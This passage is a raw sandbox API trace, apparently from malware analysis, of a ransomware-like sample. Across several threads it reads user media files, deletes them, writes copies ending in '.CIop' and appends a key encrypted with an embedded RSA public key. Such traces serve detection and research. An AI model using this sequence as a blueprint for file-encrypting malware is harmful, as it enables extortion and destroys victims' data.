param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png.CIop") returned 50 [0102.202] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zsdqjc9p9rp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0102.203] ReadFile (in: hFile=0x5f4, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x5b8e, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x312e5e8*=0x5b8e, lpOverlapped=0x0) returned 1 [0102.203] CloseHandle (hObject=0x5f4) returned 1 [0102.203] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zsdqjc9p9rp.png")) returned 1 [0102.231] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0102.231] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3130000 [0102.231] SetErrorMode (uMode=0x1) returned 0x1 [0102.231] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1a560) returned 1 [0102.240] CryptGenKey (in: hProv=0x2f1a560, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x5d6a88) returned 1 [0102.352] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.352] CryptExportKey (in: hKey=0x5d6a88, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3130000, pdwDataLen=0x312e5ec | out: pbData=0x3130000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.352] CryptDestroyKey (hKey=0x5d6a88) returned 1 [0102.352] CryptReleaseContext (hProv=0x2f1a560, dwFlags=0x0) returned 1 [0102.352] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zsdqjc9p9rp.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0102.352] WriteFile (in: hFile=0x600, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x5b8e, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x312e5d8*=0x5b8e, lpOverlapped=0x0) returned 1 [0102.353] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5b8e [0102.353] WriteFile (in: hFile=0x600, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.353] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5b95 [0102.353] SetErrorMode (uMode=0x1) returned 0x1 [0102.354] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.354] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.354] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0102.354] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1b3b8) returned 1 [0102.391] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b3b8, dwCertEncodingType=0x1, pInfo=0x692498, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x5c3910) returned 1 [0102.391] CryptEncrypt (in: hKey=0x5c3910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0102.391] CryptEncrypt (in: hKey=0x5c3910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1acd0*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1acd0*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0102.391] WriteFile (in: hFile=0x600, lpBuffer=0x2f1acd0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1acd0*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.392] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.392] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.392] VirtualFree (lpAddress=0x3130000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.392] CloseHandle (hObject=0x600) returned 1 [0102.393] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\zsdQJc9p9rp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zsdqjc9p9rp.png")) returned 0 Thread: id = 186 os_tid = 0x3c0 [0102.204] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.204] lstrcpyW (in: lpString1=0x347f368, lpString2="Up-xCZd9p 2yrWN.mp4" | out: lpString1="Up-xCZd9p 2yrWN.mp4") returned="Up-xCZd9p 2yrWN.mp4" [0102.204] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.204] SetErrorMode (uMode=0x1) returned 0x1 [0102.204] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4") returned 52 [0102.204] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4", dwFileAttributes=0x20) returned 1 [0102.204] StrStrW (lpFirst="Up-xCZd9p 2yrWN.mp4", lpSrch=".CIop") returned 0x0 [0102.204] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4.CIop") returned 57 [0102.204] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\up-xczd9p 2yrwn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f4 [0102.205] ReadFile (in: hFile=0x5f4, lpBuffer=0x656668, nNumberOfBytesToRead=0x15ca3, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x347e5e8*=0x15ca3, lpOverlapped=0x0) returned 1 [0102.206] CloseHandle (hObject=0x5f4) returned 1 [0102.206] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\up-xczd9p 2yrwn.mp4")) returned 1 [0102.214] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.214] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.214] SetErrorMode (uMode=0x1) returned 0x1 [0102.214] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1b088) returned 1 [0102.224] CryptGenKey (in: hProv=0x2f1b088, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x5c3910) returned 1 [0102.313] CryptExportKey (in: hKey=0x5c3910, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0102.313] CryptExportKey (in: hKey=0x5c3910, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0102.313] CryptDestroyKey (hKey=0x5c3910) returned 1 [0102.313] CryptReleaseContext (hProv=0x2f1b088, dwFlags=0x0) returned 1 [0102.313] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\up-xczd9p 2yrwn.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0102.314] WriteFile (in: hFile=0x5bc, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x15ca3, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x347e5d8*=0x15ca3, lpOverlapped=0x0) returned 1 [0102.315] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15ca3 [0102.315] WriteFile (in: hFile=0x5bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.315] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15caa [0102.315] SetErrorMode (uMode=0x1) returned 0x1 [0102.315] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.315] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.315] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0102.315] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1ab38) returned 1 [0102.318] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1ab38, dwCertEncodingType=0x1, pInfo=0x64b380, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x5c3310) returned 1 [0102.318] CryptEncrypt (in: hKey=0x5c3310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0102.318] CryptEncrypt (in: hKey=0x5c3310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a670*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a670*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0102.318] WriteFile (in: hFile=0x5bc, lpBuffer=0x2f1a670*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a670*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.318] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.319] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.319] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.320] CloseHandle (hObject=0x5bc) returned 1 [0102.321] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\Up-xCZd9p 2yrWN.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\up-xczd9p 2yrwn.mp4")) returned 0 Thread: id = 187 os_tid = 0xdf4 [0102.279] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.279] lstrcpyW (in: lpString1=0x357f368, lpString2="3eETFbJdu0.m4a" | out: lpString1="3eETFbJdu0.m4a") returned="3eETFbJdu0.m4a" [0102.279] lstrcpyW (in: lpString1=0x357f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.279] SetErrorMode (uMode=0x1) returned 0x1 [0102.279] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a") returned 56 [0102.279] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a", dwFileAttributes=0x20) returned 1 [0102.280] StrStrW (lpFirst="3eETFbJdu0.m4a", lpSrch=".CIop") returned 0x0 [0102.280] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a.CIop") returned 61 [0102.280] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3eetfbjdu0.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0102.280] ReadFile (in: hFile=0x5bc, lpBuffer=0x66c318, nNumberOfBytesToRead=0x117e3, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66c318*, lpNumberOfBytesRead=0x357e5e8*=0x117e3, lpOverlapped=0x0) returned 1 [0102.281] CloseHandle (hObject=0x5bc) returned 1 [0102.281] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3eetfbjdu0.m4a")) returned 1 [0102.361] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0102.362] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0102.362] SetErrorMode (uMode=0x1) returned 0x1 [0102.362] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x2f1a4d8) returned 1 [0102.371] CryptGenKey (in: hProv=0x2f1a4d8, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x6487f8) returned 1 [0102.443] CryptExportKey (in: hKey=0x6487f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0102.443] CryptExportKey (in: hKey=0x6487f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x357e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0102.443] CryptDestroyKey (hKey=0x6487f8) returned 1 [0102.443] CryptReleaseContext (hProv=0x2f1a4d8, dwFlags=0x0) returned 1 [0102.443] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3eetfbjdu0.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0102.443] WriteFile (in: hFile=0x608, lpBuffer=0x66c318*, nNumberOfBytesToWrite=0x117e3, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66c318*, lpNumberOfBytesWritten=0x357e5d8*=0x117e3, lpOverlapped=0x0) returned 1 [0102.445] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x117e3 [0102.445] WriteFile (in: hFile=0x608, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0102.445] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x117ea [0102.445] SetErrorMode (uMode=0x1) returned 0x1 [0102.445] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0102.445] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0102.445] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0102.445] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x2f1ac48) returned 1 [0102.448] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1ac48, dwCertEncodingType=0x1, pInfo=0x6928a8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x648738) returned 1 [0102.448] CryptEncrypt (in: hKey=0x648738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0102.448] CryptEncrypt (in: hKey=0x648738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a3c8*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a3c8*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0102.448] WriteFile (in: hFile=0x608, lpBuffer=0x2f1a3c8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a3c8*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0102.448] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.449] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.449] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.457] CloseHandle (hObject=0x608) returned 1 [0102.459] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\3eETFbJdu0.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\3eetfbjdu0.m4a")) returned 0 Thread: id = 188 os_tid = 0xdec [0102.487] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 